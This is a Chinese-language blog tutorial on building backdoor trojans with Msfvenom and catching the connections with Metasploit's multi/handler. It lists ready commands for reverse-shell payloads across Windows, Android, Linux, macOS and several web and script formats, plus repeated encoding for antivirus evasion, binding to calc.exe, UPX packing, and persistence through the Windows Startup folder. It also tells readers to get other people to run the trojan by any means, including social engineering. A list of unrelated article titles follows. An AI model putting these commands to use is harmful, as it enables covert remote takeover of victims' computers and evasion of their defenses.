在前一篇文章中我讲了什么是Meterpreter,并且讲解了Meterpreter的用法。传送门——>Metasploit之Meterpreter

今天我要讲的是我们用Msfvenom制作一个木马,发送给其他主机,只要其他主机运行了该木马,就会自动连接到我们的主机,并且建立一条TCP连接。我们可以通过这条TCP连接控制目标主机。

Msfvenom

  • –p (- -payload-options):添加载荷payload。载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT,就可以生成对应语言,对应平台的后门了!!!
  • –l:查看所有payload encoder nops。
  • –f :输出文件格式。
  • –e:编码免杀。
  • –a:选择架构平台  x86 | x64 | x86_64
  • –o:文件输出
  • –s:生成payload的最大长度,就是文件大小。
  • –b:避免使用的字符 例如:不使用 ‘\0f’。
  • –i:编码次数。
  • –c:添加自己的shellcode
  • –x | -k:捆绑

生成exe木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.27 lport=8888 -f exe -o test.exe  #lhost是我们的主机ip,lport是我们主机的用于监听的端口

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.27 lport=8888 -i 3 -e x86/shikata_ga_nai  -f exe -o test.exe  #编码3次

然后会在该目录下生成一个test.exe的木马。

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -i 20 lhost=192.168.10.11 lport=8888 -x calc.exe -f exe -o test.exe      #编码20次、捆绑正常的32位calc.exe,生成32位的test.exe文件

利用 upx 加壳

upx -9 test.exe -k -o test2.exe

下面介绍一些生成其他格式的木马!

安卓app:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -o ~/Desktop/test2.apk
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f elf > shell.elf
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.27 LPORT=4444 -f raw -o test.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f asp > shell.asp
ASPX:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f aspx > shell.aspx
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f raw > shell.jsp
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.10.27 LPORT=8888 -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.10.27 LPORT=8888 -f raw > shell.pl
Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.10.27 LPORT=8888 -f raw > shell.py

接下来,我们运行 msfconsole 进入MSF控制台,然后输入以下命令

msf > use exploit/multi/handler  #使用exploit/multi/handler监听从肉鸡发来的数据
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp #设置payload,不同的木马设置不同的payload
msf exploit(handler) > set lhost 192.168.10.15 #我们的主机ip
msf exploit(handler) > set lport 8888 #我们的主机端口
msf exploit(handler) > exploit

然后,将木马发送给其他人,无论使用什么手段(可以使用社会工程学)让其在其他主机上运行,我们这边就会接收到反弹过来的session。

因为我们刚刚把进程挂在后台,所以我们输入:sessions  -l  可以查看到我们得到的shell,使用 sessions -i  1 可以进入指定的shell,我们这里只有一个,所以id为1。如图,我们成功拿到了其他主机的shell

对于这个木马,如果我们在获取到某主机的shell后,想要在目标主机建立持续性的后门,我们可以将该木马放到目标主机的开机启动项中,那样,只要该主机启动后,我们就可以连接到该主机了。

C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

但是,虽然目标主机运行了该木马程序,但是由于种种原因,还是有可能获取不到对方的session。如下图,就没有获取到session。

关于后渗透阶段如何使用Meterpreter,传送门——>后渗透阶段Meterpreter的使用

Msfvenonm生成一个后门木马的更多相关文章

  1. Kali之Metasploit生成apk后门控制安卓

    扫盲教程,大佬勿喷. 实验中请更改为你环境的IP. 生成apk后门 Kali Linux(Hack):192.168.169.76 Android(靶机):192.168.169.137 启动kali ...

  2. 利用kali自带的msfvenom工具生成远程控制软件(木马)

    2.生成一个简单的木马 3. 4. 5. 6.接下来生成的winx64muma.exe实际演示 7.将生成的winx64muma.exe在受害者机器上运行 8.在kali下输入msfconsole 9 ...

  3. 用php生成一个excel文件(原理)

    1.我们用php来生成一个excel文档来讲述其原理: excel2007里面的文档目录组成部分为: 2.我们使用ZipArchive()方法来生成一个简易的excel文件. 使用方法: 3.代码如下 ...

  4. js生成一个不重复的ID的函数的进化之路

    在MongoDB中的ObjectID,可以理解为是一个不会重复的ID,这里有个链接http://blog.csdn.net/xiamizy/article/details/41521025感兴趣可以去 ...

  5. 动态生成一个设定好特殊样式的Tlabel,快速生成代码

    动态生成一个设定好特殊样式的Tlabel,快速生成代码: 1.自己先在可视化界面设定一个Label,像这样: 2.选择label,快捷键ctrl+C 复制,粘贴带代码编辑器去,会生成一段这样的窗体代码 ...

  6. 【代码笔记】iOS-通过颜色来生成一个纯色图片

    一,效果图. 二,代码. RootViewController.m - (void)viewDidLoad { [super viewDidLoad]; // Do any additional se ...

  7. C# 如何生成一个时间戳

    在程序中,常常会用到时间戳,如何生成一个时间戳呢? /// <summary> /// 获取时间戳 /// </summary> /// <returns>< ...

  8. ZeroMQ接口函数之 :zmq_curve_keypair - 生成一个新的CURVE 密钥对

    ZeroMQ 官方地址 :http://api.zeromq.org/4-0:zmq_curve_keypair zmq_curve_keypair(3) ØMQ Manual - ØMQ/4.1.0 ...

  9. Bitmap文件格式+生成一个BMP文件

    Bitmap的文件格式: #define UINT16 unsigned short #define DWORD unsigned int #define WORD short #define LON ...

随机推荐

  1. 13. Vue CLI脚手架

    一. Vue CLI 介绍 1. 什么是Vue CLI? Vue CLI 是一个基于 Vue.js 进行快速开发的完整系统.Vue CLI 致力于将 Vue 生态中的工具基础标准化.它确保了各种构建工 ...

  2. gRPC在 ASP.NET Core 中应用学习

    一.gRPC简介: gRPC 是一个由Google开源的,跨语言的,高性能的远程过程调用(RPC)框架. gRPC使客户端和服务端应用程序可以透明地进行通信,并简化了连接系统的构建.它使用HTTP/2 ...

  3. IDEA 远程调试服务器代码

    在 /home/ttx/app/uco-azj/catalina/30017/bin/set_env.sh export CATALINA_OPTS="-Xms1g -Xmx2g -XX:+ ...

  4. 顺序表及基本操作(C语言)

    #include <stdio.h> #include <stdlib.h> //基本操作函数用到的状态码 #define TRUE 1; #define FALSE 0; # ...

  5. springmvc 最权威的知识点

    1.什么是Spring MVC ?简单介绍下你对springMVC的理解? Spring MVC是一个基于Java的实现了MVC设计模式的请求驱动类型的轻量级Web框架,通过把Model,View,C ...

  6. Ubuntu之软件包管理 (最全最精)

    Centos与Ubuntu的关系 * CentOS之前的地位:Fedora稳定版-->发布-->RHEL稳定版-->发布-->CentOS * CentOS如今的地位:Fedo ...

  7. MyBatis工程搭建&MyBatis实现Mapper配置查询

    一.MyMyBatis工程搭建 新建Maven项目:mybatis-demo 准备数据源 1 # 删除mybatis_demo数据库 2 drop database if exists mybatis ...

  8. Manjaro Linux平台用pyinstaller打包python可执行文件

    技术背景 当我们创建一个python项目,最终的成果如果希望用户能够不依赖于python源代码也能够正常的执行,就会比较的人性化.因为源代码数量众多,很难让每个用户都自行管理所有的源代码,因此我们需要 ...

  9. Java 学习记录

    •Eclipse相关 Eclipse常用设置 解决 Eclipse 项目中有红色感叹号的详细方法(图文) JRE System Library [JavaSE-1.8](unbound) •Java ...

  10. DFS 深搜专题 入门典例 -- 凌宸1642

    DFS 深搜专题 入门典例 -- 凌宸1642 深度优先搜索 是一种 枚举所有完整路径以遍历所有情况的搜索方法 ,使用 递归 可以很好的实现 深度优先搜索. 1 最大价值 题目描述 ​ 有 n 件物品 ...